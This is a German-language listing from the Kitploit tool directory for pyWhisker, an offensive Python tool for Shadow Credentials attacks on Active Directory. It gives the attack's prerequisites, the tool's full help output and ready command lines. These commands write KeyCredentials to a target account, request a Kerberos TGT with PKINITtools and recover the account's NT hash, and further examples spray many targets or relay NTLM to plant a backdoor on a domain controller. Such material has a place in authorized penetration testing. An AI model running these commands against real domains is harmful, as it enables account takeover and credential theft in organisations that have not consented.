Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
pywhisker — Python-Version des C#-Tools für "Shadow Credentials"-Angriffe | Kitploit
Tools/GitHubGitHub/shutdownrepo/pywhisker
Privilege EscalationExploitationPenetrationstestsAuthentifizierung
GitHubshutdownrepo/pywhisker

pywhisker

Python-Version des C#-Tools für "Shadow Credentials"-Angriffe

Repository anzeigen
922107vor 2 MonatenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

pyWhisker

pyWhisker ist ein Python-Äquivalent des ursprünglichen Whisker, entwickelt von Elad Shamir und in C# geschrieben. Dieses Tool ermöglicht es Benutzern, das msDS-KeyCredentialLink-Attribut eines Zielbenutzers/-computers zu manipulieren, um die vollständige Kontrolle über dieses Objekt zu erlangen. Es basiert auf Impacket und einem Python-Äquivalent von Michael Grafnetter's DSInternals namens PyDSInternals, erstellt von podalirius. Dieses Tool ermöglicht zusammen mit Dirk-jan's PKINITtools eine vollständige primitive Ausnutzung nur auf UNIX-basierten Systemen.

Voraussetzungen für diesen Angriff sind wie folgt:

  1. Die funktionale Ebene der Zieldomäne muss Windows Server 2016 oder höher sein.
  2. Die Zieldomäne muss mindestens einen Domänencontroller mit Windows Server 2016 oder höher haben.
  3. Der während des Angriffs zu verwendende Domänencontroller muss ein eigenes Zertifikat und eigene Schlüssel besitzen (d.h. die Organisation muss entweder AD CS, eine PKI, eine CA oder etwas Ähnliches haben).
  4. Der Angreifer muss die Kontrolle über ein Konto haben, das das msDs-KeyCredentialLink-Attribut des Zielbenutzers oder Computerkontos schreiben kann.

Warum einige Voraussetzungen?

  • Voraussetzungen 1 und 2, da die PKINIT-Funktionen mit Windows Server 2016 eingeführt wurden.
  • Voraussetzung 3, da der DC sein eigenes Zertifikat und seine eigenen Schlüssel für den Sitzungsschlüsselaustausch während der AS_REQ <-> AS_REP-Transaktion benötigt.

Ein KRB-ERROR (16) : KDC_ERR_PADATA_TYPE_NOSUPP wird ausgelöst, wenn Voraussetzung 3 nicht erfüllt ist.

Weitere Informationen zu dieser "Shadow Credentials"-Primitive:

  • Shadow Credentials: Abusing Key Trust Account Mapping for Takeover
  • The Hacker Recipes - ACEs and DACL abuse
  • The Hacker Recipes - Shadow Credentials

Verwendung

pyWhisker kann verwendet werden, um verschiedene Aktionen am msDs-KeyCredentialLink-Attribut eines Ziels durchzuführen:

  • list: alle aktuellen KeyCredential-IDs und Erstellungszeiten auflisten
  • add: ein neues KeyCredential zum msDs-KeyCredentialLink hinzufügen
  • spray: das Hinzufügen eines neuen KeyCredentials zum msDs-KeyCredentialLink verteilen (spray)
  • remove: ein KeyCredential aus dem msDs-KeyCredentialLink entfernen
  • clear: alle KeyCredentials aus dem msDs-KeyCredentialLink entfernen
  • info: alle in einer KeyCredential-Struktur enthaltenen Informationen ausgeben
  • export: alle KeyCredentials aus dem msDs-KeyCredentialLink im JSON-Format exportieren
  • import: das msDs-KeyCredentialLink mit KeyCredentials aus einer JSON-Datei überschreiben

pyWhisker unterstützt die folgenden Authentifizierungen:

  • (NTLM) Klartext-Passwort
  • (NTLM) Pass-the-hash
  • (Kerberos) Klartext-Passwort
  • (Kerberos) Pass-the-key / Overpass-the-hash
  • (Kerberos) Pass-the-cache (eine Art Pass-the-ticket)
  • (LDAP über Schannel) Pass-the-cert

Unter anderem unterstützt pyWhisker mehrstufige Ausführlichkeit; einfach -v, -vv, ... an den Befehl anhängen :)

pyWhisker kann auch domänenübergreifend arbeiten, siehe das Argument -td/--target-domain.

root@kitploit:~
usage: pywhisker [-h] (-t TARGET_SAMNAME | -tl TARGET_SAMNAME_LIST) [-a [{list,add,spray,remove,clear,info,export,import}]] [--use-ldaps] [--use-schannel] [-v] [-q]
                 [--dc-ip ip address] [-d DOMAIN] [-u USER] [-crt CERTFILE] [-key KEYFILE] [-td TARGET_DOMAIN] [--no-pass | -p PASSWORD | -H [LMHASH:]NTHASH | --aes-key hex key]
                 [-k] [-P PFX_PASSWORD] [-f FILENAME] [-e {PEM,PFX}] [-D DEVICE_ID]

Python (re)setter for property msDS-KeyCredentialLink for Shadow Credentials attacks.

optional arguments:
  -h, --help            show this help message and exit
  -t TARGET_SAMNAME, --target TARGET_SAMNAME
                        Target account
  -tl TARGET_SAMNAME_LIST, --target-list TARGET_SAMNAME_LIST
                        Path to a file with target accounts names (one per line)
  -a [{list,add,spray,remove,clear,info,export,import}], --action [{list,add,spray,remove,clear,info,export,import}]
                        Action to operate on msDS-KeyCredentialLink
  --use-ldaps           Use LDAPS instead of LDAP
  --use-schannel        Use LDAP Schannel (TLS) for certificate-based authentication
  -v, --verbose         verbosity level (-v for verbose, -vv for debug)
  -q, --quiet           show no information at all

authentication & connection:
  --dc-ip ip address    IP Address of the domain controller or KDC (Key Distribution Center) for Kerberos. If omitted it will use the domain part (FQDN) specified in the identity parameter
  -d DOMAIN, --domain DOMAIN
                        (FQDN) domain to authenticate to
  -u USER, --user USER  user to authenticate with
  -crt, --certfile CERTFILE
                        Path to the user certificate (PEM format) for Schannel authentication
  -key, --keyfile KEYFILE
                        Path to the user private key (PEM format) for Schannel authentication
  -td TARGET_DOMAIN, --target-domain TARGET_DOMAIN
                        Target domain (if different than the domain of the authenticating user)

  --no-pass             don't ask for password (useful for -k)
  -p PASSWORD, --password PASSWORD
                        password to authenticate with
  -H [LMHASH:]NTHASH, --hashes [LMHASH:]NTHASH
                        NT/LM hashes, format is LMhash:NThash
  --aes-key hex key     AES key to use for Kerberos Authentication (128 or 256 bits)
  -k, --kerberos        Use Kerberos authentication. Grabs credentials from .ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones
                        specified in the command line

arguments when setting -action to add:
  -P PFX_PASSWORD, --pfx-password PFX_PASSWORD
                        password for the PFX stored self-signed certificate (will be random if not set, not needed when exporting to PEM)
  -f FILENAME, --filename FILENAME
                        filename to store the generated self-signed PEM or PFX certificate and key, or filename for the "import"/"export" actions
  -e {PEM,PFX}, --export {PEM,PFX}
                        choose to export cert+private key in PEM or PFX (i.e. #PKCS12) (default: PFX))

arguments when setting -action to remove:
  -D DEVICE_ID, --device-id DEVICE_ID
                        device ID of the KeyCredentialLink to remove when setting -action to remove

Nachfolgend finden Sie Beispiele und Screenshots, was pyWhisker kann.

Auflisten und Informationen abrufen

pyWhisker kann vorhandene KeyCredentials auflisten. Darüber hinaus kann es die gesamte Struktur entfalten, um alle Informationen anzuzeigen, die dieses Objekt enthält (einschließlich der RSA-öffentlichen Schlüsselparameter).

root@kitploit:~
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "list"
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "info" --device-id 6419739b-ff90-f5c7-0737-1331daeb7db6

Löschen und Entfernen

pyWhisker kann bestimmte Werte entfernen oder das gesamte Attribut löschen.

root@kitploit:~
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "remove" --device-id a8ce856e-9b58-61f9-8fd3-b079689eb46e

root@kitploit:~
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "clear"

Neue Werte hinzufügen

pyWhisker kann RSA-Schlüssel, ein X509-Zertifikat, eine KeyCredential-Struktur generieren und die notwendigen Informationen als neue Werte des msDs-KeyCredentialLink-Attributs schreiben. Das Zertifikat kann im PFX-Format (#PKCS12, Zertifikat + privater Schlüssel, mit einem Passwort geschützt) oder im PEM-Format (PEM-Zertifikat, PEM-privater Schlüssel, kein Passwort erforderlich) exportiert werden.

Beispiel mit dem PFX-Format

root@kitploit:~
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "add" --filename test1

Sobald die Werte von pyWhisker generiert und hinzugefügt wurden, kann ein TGT mit gettgtpkinit.py angefordert werden. Der NT-Hash kann dann mit getnthash.py wiederhergestellt werden.

root@kitploit:~
python3 PKINITtools/gettgtpkinit.py -cert-pfx test1.pfx -pfx-pass xl6RyLBLqdhBlCTHJF3R domain.local/user2 user2.ccache
python3 PKINITtools/getnthash.py -key f4d6738897808edd3868fa8c60f147366c41016df623de048d600d4e2f156aa9 domain.local/user2

Beispiel mit dem PEM-Format

root@kitploit:~
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "add" --filename test2 --export PEM

Sobald die Werte von pyWhisker generiert und hinzugefügt wurden, kann ein TGT mit gettgtpkinit.py angefordert werden. Der NT-Hash kann dann mit getnthash.py wiederhergestellt werden.

root@kitploit:~
python3 PKINITtools/gettgtpkinit.py -cert-pem test2_cert.pem -key-pem test2_priv.pem domain.local/user2 user2.ccache
python3 PKINITtools/getnthash.py -key 894fde81fb7cf87963e4bda9e9e288536a0508a1553f15fdf24731731cecad16 domain.local/user2

Neue Werte verteilen (Spray)

pyWhisker kann mehrere KeyCredential-Hinzufügungen zu einer Reihe von Zielen verketten, d.h. spray (sofern die verwendeten Anmeldedaten die entsprechenden Berechtigungen haben).

root@kitploit:~
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target-list targetlist.txt --action "spray"

Import und Export

Im msDs-KeyCredentialLink-Attribut gespeicherte KeyCredentials können analysiert, strukturiert und als JSON gespeichert werden.

Der JSON-Export kann dann verwendet werden, um das msDs-KeyCredentialLink-Attribut in dem Zustand wiederherzustellen, den es zum Zeitpunkt des Exports hatte.

Weitergeleitete Authentifizierung (Relay)

Ein Pull Request wurde in ntlmrelayx eingebunden, um pyWhiskers "Hinzufügen"-Funktion zu integrieren.

Nützliches Wissen

Benutzerobjekte können ihr eigenes msDS-KeyCredentialLink-Attribut nicht bearbeiten. Computerobjekte hingegen schon. Das bedeutet, dass folgendes Szenario funktionieren könnte: Lösen Sie eine NTLM-Authentifizierung von DC01 aus, leiten Sie sie an DC02 weiter, lassen Sie pyWhisker das Attribut von DC01 bearbeiten, um eine Kerberos-PKINIT-Vorauthentifizierungs-Hintertür darauf zu erstellen.

Computerobjekte können ihr eigenes msDS-KeyCredentialLink-Attribut bearbeiten, aber ein KeyCredential nur hinzufügen, wenn noch keines vorhanden ist.

Wenn Sie auf Fehler stoßen, stellen Sie sicher, dass es keine Zeitverschiebung zwischen Ihrem Angreifer-Host und dem Key Distribution Center (normalerweise dem Domänencontroller) gibt. Um diesen Fehler zu vermeiden, sind die von pyWhisker generierten Zertifikate 40 Jahre vor dem aktuellen Datum und 40 Jahre danach gültig.

Danksagungen und Referenzen

  • Dank an Dirk-jan für seine Arbeit an PKINITtools. Wir hatten ursprünglich vor, Impacket-Skripte (insbesondere gettgt.py) zu überarbeiten, um eine asymmetrische PKINIT-Vorauthentifizierung für Kerberos zu implementieren. Er hat uns eine Menge Kopfschmerzen erspart, indem er es vor uns geschrieben hat!

  • Dank an das gesamte Team hinter Impacket und seine Mitwirkenden.

  • Dank an Elad Shamir, der das ursprüngliche C#-Tool (Whisker) erstellt hat, und an Michael Grafnetter's, der DSInternals entwickelt hat, eine Bibliothek, die den Großteil der schweren Arbeit von Whisker erledigt. Er war auch derjenige, der die ursprüngliche Black Hat-Demo zur Angriffsprimitive präsentierte.

Tool herunterladen